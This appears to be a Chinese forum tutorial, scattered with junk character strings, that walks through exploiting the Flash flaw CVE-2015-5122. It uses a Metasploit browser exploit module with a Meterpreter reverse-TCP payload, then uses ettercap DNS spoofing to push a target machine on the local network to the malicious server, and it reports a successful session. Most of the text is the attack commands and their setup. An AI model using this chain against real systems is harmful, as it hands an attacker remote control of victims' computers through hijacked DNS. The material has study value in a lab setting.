cve2015-5122漏洞实例演示虚拟机

admin

二、cve2015-5122漏洞实例演示虚拟机

# J9 H4 N6 U) |) M2 B5 ?+ m5 `   关于cve2015-5122这个漏洞，大家可以百度一下，是关于flash的漏洞，是2015年flash漏洞的第二发，今天我们就用这个漏洞来演示，开启kai linux msfconsole命令启动msf如图： 9 P; O* }% b( n6 |! h

search cve-2015-5122如图： 7 q- M, U* j4 F6 t

% N$ G$ H( ^2 ]9 P8 f+ Y/ \9 y

5 T2 B: u- y( k   # f6 |2 l5 e$ a% y

下面我们敲如下命令： 1 a: _) }/ c! t* ~% m

- _% |6 B: d( a3 ?+ O

9 m+ [- A! e$ d) E. [3 q use exploit/multi/browser/adobe_flash_opaque_background_uaf - V! a, V& `: l8 o- l

set PAYLOAD windows/meterpreter/reverse_tcp

- t$ ?* D Z) I/ u set LHOST 192.168.0.109 2 ^, ?( Q/ w# m5 B

5 p( ^+ @0 b: P7 Y- c. m

set URIPATH /                        /*根目录*/ * X. |% _! v% X5 I0 E3 z

: i) ^* }7 I9 J# |- Z7 v9 V set SRVHOST 192.168.0.109  //192.168.0.109为kaili ip地址

d; ^; _6 Y1 i set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 4 ^( a5 o3 h6 L# J" c8 t

8 C2 |5 T# N" n3 Q

然后show options如图： * O. \ o, C! D8 J x1 B1 S

' ~7 U' U G4 i! G

8 {! X# W. O: B. H. h0 J  

! c, { V2 R* E: O2 A& P. i. X

一切都设置好了，执行exploit。下面我们进etc/ettercap目录下设置etc.dns如图：
" Z; ]2 K! F% V7 H3 N6 V0 ^

8 y! [0 C2 ^, N3 U* l4 i) }

1 O% }) u. K9 {1 r 然后ettercap -G命令打开ettercap，我们要攻击的主机ip是192.168.0。115 $ ~1 ~# D1 R# f7 f

. z$ u6 s4 e; h5 m8 R8 u' [5 H Ettercap过程第一篇里已经演示，这里不在详细写了。。。执行完ettercap以后我们观察一下msf

5 Q( ?2 _7 K& K, c

% c& s+ l, }, \) z) n, F  

" E) S3 K- h8 M6 r, j2 Y% [ 成功了，这时候我们断开ettercap，如图： , k- {+ V! i# x2 K! {% v

9 D- r9 [* v- I/ j2 @5 u0 B

. ]9 a- Q W6 t9 N/ }  

7 f4 Y" \2 [% S3 J9 u7 `! U8 G Screenshot如图：

 

6 l8 {) Y% h4 d/ \